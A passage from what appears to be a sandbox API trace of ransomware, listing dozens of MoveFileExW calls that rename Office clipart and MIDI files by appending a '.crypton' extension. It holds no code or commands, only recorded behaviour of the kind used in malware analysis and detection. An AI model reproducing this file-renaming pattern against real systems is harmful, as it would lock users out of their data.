office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.crypton"), dwFlags=0x2) returned 1 [0081.098] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.crypton"), dwFlags=0x2) returned 1 [0081.167] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.crypton"), dwFlags=0x2) returned 1 [0081.246] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.crypton"), dwFlags=0x2) returned 1 [0081.327] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.crypton"), dwFlags=0x2) returned 1 [0081.387] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.crypton"), dwFlags=0x2) returned 1 [0081.444] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.crypton"), dwFlags=0x2) returned 1 [0081.492] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.crypton"), dwFlags=0x2) returned 1 [0081.534] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.crypton"), dwFlags=0x2) returned 1 [0081.634] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.crypton"), dwFlags=0x2) returned 1 [0081.812] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.crypton"), dwFlags=0x2) returned 1 [0081.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.crypton"), dwFlags=0x2) returned 1 [0081.913] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.crypton"), dwFlags=0x2) returned 1 [0081.959] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.crypton"), dwFlags=0x2) returned 1 [0082.007] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.crypton"), dwFlags=0x2) returned 1 [0082.065] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.crypton"), dwFlags=0x2) returned 1 [0082.118] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.crypton"), dwFlags=0x2) returned 1 [0082.165] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.crypton"), dwFlags=0x2) returned 1 [0082.231] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.crypton"), dwFlags=0x2) returned 1 [0082.283] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.crypton"), dwFlags=0x2) returned 1 [0082.342] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.crypton"), dwFlags=0x2) returned 1 [0082.396] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.crypton"), dwFlags=0x2) returned 1 [0082.462] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.crypton"), dwFlags=0x2) returned 1 [0082.516] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.crypton"), dwFlags=0x2) returned 1 [0082.567] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.crypton"), dwFlags=0x2) returned 1 [0082.626] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.crypton"), dwFlags=0x2) returned 1 [0082.676] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.crypton"), dwFlags=0x2) returned 1 [0082.723] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.crypton"), dwFlags=0x2) returned 1 [0082.776] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.crypton"), dwFlags=0x2) returned 1 [0082.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.crypton"), dwFlags=0x2) returned 1 [0082.868] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.crypton"), dwFlags=0x2) returned 1 [0082.898] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.crypton"), dwFlags=0x2) returned 1 [0082.936] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.crypton"), dwFlags=0x2) returned 1 [0082.955] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.crypton"), dwFlags=0x2) returned 1 [0082.979] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.crypton"), dwFlags=0x2) returned 1 [0082.990] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.crypton"), dwFlags=0x2) returned 1 [0083.001] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.crypton"), dwFlags=0x2) returned 1 [0083.017] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.crypton"), dwFlags=0x2) returned 1 [0083.045] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.crypton"), dwFlags=0x2) returned 1 [0083.062] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.crypton"), dwFlags=0x2) returned 1 [0083.085] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.crypton"), dwFlags=0x2) returned 1 [0083.111] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.crypton"), dwFlags=0x2) returned 1 [0083.133] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.crypton"), dwFlags=0x2) returned 1 [0083.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.crypton"), dwFlags=0x2) returned 1 [0083.162] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.crypton"), dwFlags=0x2) returned 1 [0083.281] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.crypton"), dwFlags=0x2) returned 1 [0083.327] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.crypton"), dwFlags=0x2) returned 1 [0083.390] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.crypton"), dwFlags=0x2) returned 1 [0083.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.crypton"), dwFlags=0x2) returned 1 [0083.503] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.crypton"), dwFlags=0x2) returned 1 [0083.517] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.crypton"), dwFlags=0x2) returned 1 [0083.523] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.crypton"), dwFlags=0x2) returned 1 [0083.531] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.crypton"), dwFlags=0x2) returned 1 [0083.540] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.crypton"), dwFlags=0x2) returned 1 [0083.549] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.crypton"), dwFlags=0x2) returned 1 [0083.556] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.crypton"), dwFlags=0x2) returned 1 [0083.562] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.crypton"), dwFlags=0x2) returned 1 [0083.569] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.crypton"), dwFlags=0x2) returned 1 [0083.576] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.crypton"), dwFlags=0x2) returned 1 [0083.584] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.crypton"), dwFlags=0x2) returned 1 [0083.644] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.crypton"), dwFlags=0x2) returned 1 [0083.651] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.crypton"), dwFlags=0x2) returned 1 [0083.658] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.crypton"), dwFlags=0x2) returned 1 [0083.664] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.crypton"), dwFlags=0x2) returned 1 [0083.670] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.crypton"), dwFlags=0x2) returned 1 [0083.676] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), 